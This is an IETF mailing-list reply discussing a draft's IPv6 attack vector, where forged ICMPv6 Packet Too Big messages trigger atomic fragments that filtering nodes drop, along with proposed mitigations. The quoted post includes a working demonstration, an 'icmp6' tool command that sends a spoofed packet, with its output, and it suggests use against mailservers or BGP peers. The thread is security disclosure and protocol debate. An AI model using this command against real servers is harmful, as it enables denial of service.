In message <[email protected]>, Fernando Gont writes: > Folks, > > Ten days ago or so we published this I-D: > <http://www.ietf.org/internet-drafts/draft-gont-v6ops-ipv6-ehs-in-real-world- > 00.txt> > > Section 5.2 of the I-D discusses a possible attack vector based on a > combination of "forged" ICMPv6 PTB messages and IPv6 frag drops by > operators, along with proposed countermeasures -- on which we'd like to > hear your comments. > > Since Section 5.2 is in the draft, let me offer a more informal and > practical explanation: > > 1) It is known that filtering of packets containing IPv6 Extension > Headers (including the Fragment Header) is widespread (see our I-D above) > > 2) Let us assume that Host A is communicating with Server B, and that > some node filters fragments between Host A and Server B.
Some node is performing a Denial Of Service attack on the communications between Host A and Server B. The logical thing is to remove/reconfigure the node performing the denial of service attack. Note the box that is dropping the fragments is almost certainly controlled by the owners of A or the owners of B. > 3) An attacker sends a spoofed ICMPv6 PTB to server B, with a "Next Hop > MTU<1280), in the hopes of eliciting "atomic fragments" (see > <http://tools.ietf.org/rfc/rfc6946.txt>) from now on. > > 4) Now server B starts sending IPv6 atomic fragments... And since they > include a frag header (and in '2)' above we noted that frags are dropped > on that path), these packets get dropped (i.e., DoS). The PTB is not the problem. The Atomic fragments are not the problem. The problem is the node that is filtering the packets. Atomic fragements are easily identifiable. There is zero reason to filter them and good reason to let them continue to exist. Write up a CERT advisary and list all the known firewalls that fail to pass atomic fragments. Write a RFC "Firewalls That Drop Atomic Fragments Considered Harmful". > "Demo" with the icmp6 tool > (<http://www.si6networks.com/tools/ipv6toolkit>) -- (some addresses have > been changed (anonimized), but it is trivial to pick a victim server...) > > "2001:db8:1:10:0:1991:8:25" is the server, and > "2001:5c0:1000:a::e7d" is my own address): > > ---- cut here ---- > ***** First of all, I telnet to port 80 of the server, and > everything works as expected **** > > fgont@satellite:~$ telnet 2001:db8:1:10:0:1991:8:25 80 > Trying 2001:db8:1:10:0:1991:8:25... > Connected to 2001:db8:1:10:0:1991:8:25. > Escape character is '^]'. > ^CConnection closed by foreign host. > > **** Now I send the forget ICMPv6 PTB **** > > fgont@satellite:~$ sudo icmp6 --icmp6-packet-too-big -d > 2001:db8:1:10:0:1991:8:25 --peer-addr 2001:5c0:1000:a::e7d --mtu 1000 -o > 80 -v > icmp6: Security assessment tool for attack vectors based on ICMPv6 error > messages > > IPv6 Source Address: 2001:5c0:1000:a::e7d (automatically selected) > IPv6 Destination Address: 2001:db8:1:10:0:1991:8:25 > IPv6 Hop Limit: 227 (randomized) > ICMPv6 Packet Too Big (Type 2), Code 0 > Next-Hop MTU: 1000 > Payload Type: IPv6/TCP (default) > Source Address: 2001:db8:1:10:0:1991:8:25 (automatically-selected) > Destination Address: 2001:5c0:1000:a::e7d > Hop Limit: 237 (randomized) > Source Port: 80 Destination Port: 38189 (randomized) > SEQ Number: 734463213 (randomized) ACK Number: 866605720 (randomized) > Flags: A (default) Window: 18944 (randomized) URG Pointer: 0 (default > ) > Initial attack packet(s) sent successfully. > > > ***** And now I try the same telnet command as above... but it fails, > because the frags from the server to me are getting dropped somewhere **** > > fgont@satellite:~$ telnet 2001:db8:1:10:0:1991:8:25 80 > Trying 2001:db8:1:10:0:1991:8:25... > [timeout] > ---- cut here ---- > > > Of course, in this particular case I just "shot myself". But one could > do this to DoS connections between mailservers, etc. > > A nice question is: what if e.g.... > > 1) some BGP servers accept ICMPv6 PTB that claim an MTU < 1280, and > react (as expected) by generating atomic fragments, *and*, > > 2) These same BGP servers deem fragmentation as "harmful", and hence > drop such fragments > > you could essentially DoS traffic between them > > As noted in the I-D, the mitigations seem to be: > > 1) Artificially limit your packets to 1280, and drop all incoming ICMPv6 > PTB, or, > > 2) Have your device just drop ICMPv6 PTB that claim a Next-Hop MTU > smaller than 1280. > > Thoughts? > -- > Fernando Gont > SI6 Networks > e-mail: [email protected] > PGP Fingerprint: 6666 31C6 D484 63B2 8FB1 E3C4 AE25 0D55 1D4E 7492 > > > > > _______________________________________________ > v6ops mailing list > [email protected] > https://www.ietf.org/mailman/listinfo/v6ops -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: [email protected] _______________________________________________ OPSEC mailing list [email protected] https://www.ietf.org/mailman/listinfo/opsec
